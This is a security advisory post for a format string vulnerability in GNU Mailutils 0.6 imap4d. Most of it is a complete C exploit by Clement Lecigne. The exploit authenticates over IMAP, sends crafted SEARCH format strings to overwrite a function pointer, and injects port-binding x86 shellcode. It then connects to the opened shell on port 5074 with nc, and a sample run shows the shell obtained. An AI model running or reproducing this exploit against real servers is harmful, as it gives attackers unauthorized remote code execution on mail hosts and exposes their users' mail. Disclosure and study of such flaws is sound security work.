[EXPL] GNU Mailutils imap4d 'search' Format String (Exploit)

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  GNU Mailutils imap4d 'search' Format String (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.gnu.org/software/mailutils/mailutils.html> GNU Mailutils is 
a collection of mail-related utilities."

Lack of proper string validation allow attacker to execute arbitrary code 
using format string attack in GNU Mailutils imap4d.

DETAILS

Vulnerable Systems:
 * GNU Mailutils imap4d version 0.6

Exploit:
/*
 *  GNU Mailutils 0.6 imap4d 'search' format string exploit.
 *  Ref: 
www.idefense.com/application/poi/display?id=303&type=vulnerabilities
 *
 *  This silly exploit uses hardcoded values taken from GNU/Debian testing 
(etch).
 *
 *  $ ./imap4d_search_expl -h 127.0.0.1 -p 143 -u clem1 -s PROUT
 *  [+] GNU Mailutils 0.6 imap4d 'search' format string exploit.
 *  [+] By clem1.
 *  [+] connecting to: 127.0.0.1:143
 *  [+] authentification: completed.
 *  [+] format string: sended
 *  [+] shellcode sended.
 *  [+] Bingo.
 *
 *  id;
 *  uid=1000(clem1) gid=1002(mail) groups=0(root)
 *
 *  Copyright (C) 2005 Clement Lecigne - clem1 @ badcode.info.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

struct values {
 int offset;
 int IO_file_close;
 int addr;
 char mailbox[32];
} v = {
 11,
 0x40468bc4,
 0x80906e0, //0xaabbccdd
 "inbox"
};

void usage(char *);
void auth(int, char *, char *);
void sendsc(int);
void owned(int, char *);
void fmtbuild(int);

/*
 * s0t4ipv6@Shellcode.com.ar
 * x86 portbind a shell in port 5074
 */
char sc[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40"
     "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
     "\xd2\x52\x66\x68\x13\xd2\x43\x66"
     "\x53\x89\xe1\x6a\x10\x51\x50\x89"
     "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
     "\x24\x04\x43\x43\xb0\x66\xcd\x80"
     "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
     "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
     "\x80\x41\x80\xf9\x03\x75\xf6\x52"
     "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
     "\x62\x69\x89\xe3\x52\x53\x89\xe1"
     "\xb0\x0b\xcd\x80";

char b[1024];
int i;

int main(int ac, char **av){
 char o, *host, *user, *pass;
 struct hostent *h;
 struct sockaddr_in s;
 int port, fd;
 
 puts("[+] GNU Mailutils 0.6 imap4d 'search' format string exploit.");
 puts("[+] By clem1.");

 if(ac != 9) usage(av[0]);
 
 while((o = getopt(ac,av,"h:p:u:s:")) != EOF) {
  switch (o) {
   case 'h':
    host = optarg;
    break;
   case 'p':
    port = atoi(optarg);
    break;
   case 'u':
    user = optarg;
    break;
   case 's':
    pass = optarg;
    break;
   default:
    usage(av[0]);
    break;
  }
 }
 if((h = gethostbyname(host)) == NULL) {
  herror("[-] gethostbyname()");
  exit(1);
        }
 
 printf("[+] connecting to: %s:%d\n", inet_ntoa(*((struct in_addr 
*)h->h_addr)), port);

 fd = socket(AF_INET, SOCK_STREAM, 0);
 if(fd == -1){
  perror("[-] socket()");
  exit(1);
 }

 s.sin_family = AF_INET;
 s.sin_port = htons(port);
 s.sin_addr = *((struct in_addr *)h->h_addr);
 bzero(&(s.sin_zero), 8);

 if (connect(fd, (struct sockaddr *)&s, sizeof s) == -1) {
  perror("[-] connect()");
  exit(1);
 }

 i = recv(fd, b, 1023, 0);
 b[i] = 0;
 if(strstr(b, "IMAP4rev1") == NULL){
  puts("[-] failled.");
  exit(1);
 }
 /* authentification. */
 auth(fd, user, pass);
 /* build and send evil format string. */
 fmtbuild(fd);
 /* store shellcode in imap4d rwx adresse space. */
 sendsc(fd);
 /* force a call to fclose, uhm no shellcode ;> */
 owned(fd, host);
 return 0;
}

void auth(int fd, char *user, char *pass){
 memset(b, 0x0, 1024);
 snprintf(b, 1023, "1 LOGIN \"%s\" \"%s\"\n", user, pass);
 if(send(fd, b, strlen(b), 0) == -1){
  perror("[-] send()");
  exit(1);
 }
 memset(b, 0x0, 1024);
 i = recv(fd, b, 1023, 0);
 b[i] = 0x0;
 if(strstr(b, "Completed") == NULL){
  puts("[-] LOGIN failled.");
  exit(1);
 }
 memset(b, 0x0, 1024);
 snprintf(b, 1023, "2 SELECT \"%s\"\n", v.mailbox);
 if(send(fd, b, strlen(b), 0) == -1){
  perror("[-] send()");
  exit(1);
 }
 memset(b, 0x0, 1024);
 while((i = recv(fd, b, 1023, 0)) != -1){
  b[i] = 0x0;
  if(strstr(b, "Completed") != NULL)
   break;
  if(strstr(b, "Couldn't") != NULL){
   puts("[-] SELECT failled.");
   exit(1);
  }
 }
 puts("[+] authentification: completed.");
 return;
}

void sendsc(int fd){
 memset(b, 0x41, 1024);
 memcpy(b + 900, sc, strlen(sc));
 memcpy(b + 1020, " A\n", 3);
 memcpy(b, "3 LIST ", 7);
 if(send(fd, b, strlen(b), 0) == -1){
  perror("[-] send()");
  exit(1);
 }
 memset(b, 0x0, 1024);
 while((i = recv(fd, b, 1023, 0)) != -1){
  b[i] = 0x0;
  if(strstr(b, "Completed") != NULL)
   break;
  if(strstr(b, "BAD") != NULL){
   puts("[-] LIST failled.");
   exit(1);
  }
 }
 puts("[+] shellcode sended.");
 return;
}

void fmtbuild(int fd){
 unsigned char b0, b1, b2, b3;
 int a1, a2;
 a1 = (v.addr & 0xffff0000) >> 16;
 a2 = (v.addr & 0x0000ffff);
 b0 = (v.IO_file_close >> 24) & 0xff;
 b1 = (v.IO_file_close >> 16) & 0xff;
 b2 = (v.IO_file_close >> 8) & 0xff;
 b3 = (v.IO_file_close) & 0xff;
 snprintf(b, sizeof b,     "3 SEARCH TOPIC "
      "A" /* pad. */
      "%c%c%c%c"
      "%%.%hdx"
      "%%%d$hn\n",
      b3 + 2, b2, b1, b0,
      a1 - 0x24,
      v.offset);
 if(send(fd, b, strlen(b), 0) == -1){
  perror("[-] send()");
  exit(1);
 }
 while((i = recv(fd, b, 1023, 0)) != -1){
  b[i] = 0x0;
  if(strstr(b, "BAD") != NULL)
   break;
 }
 memset(b, 0x0, 1024);
 snprintf(b, sizeof b,     "3 SEARCH TOPIC "
      "A" /* pad. */
      "%c%c%c%c"
      "%%.%hdx"
      "%%%d$hn\n",
      b3, b2, b1, b0,
      a2 - 0x24,
      v.offset);
 if(send(fd, b, strlen(b), 0) == -1){
  perror("[-] send()");
  exit(1);
 }
 while((i = recv(fd, b, 1023, 0)) != -1){
  b[i] = 0x0;
  if(strstr(b, "BAD") != NULL)
   break;
 }
 puts("[+] format string: sended");
 return;
}

void owned(int fd, char *host){
 memset(b, 0x0, 1024);
 snprintf(b, 1023, "3 SUBSCRIBE OWNED\n");
 if(send(fd, b, strlen(b), 0) == -1){
  perror("[-] send()");
  exit(1);
 }
 puts("[+] Bingo.\n");
 sleep(1);
 execl("/bin/nc", "prout", host, "5074", NULL);
 printf("[-] muh? where is nc?\n[+] A shell is waiting you on %s:5074.\n", 
host);
 return;
}

void usage(char *ex){
 printf("usage: %s -h <hostname> -p <port> -u <user> -s <password>\n", 
ex);
 exit(1);
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:clem1@badcode.info> Cl ment 
Lecigne.



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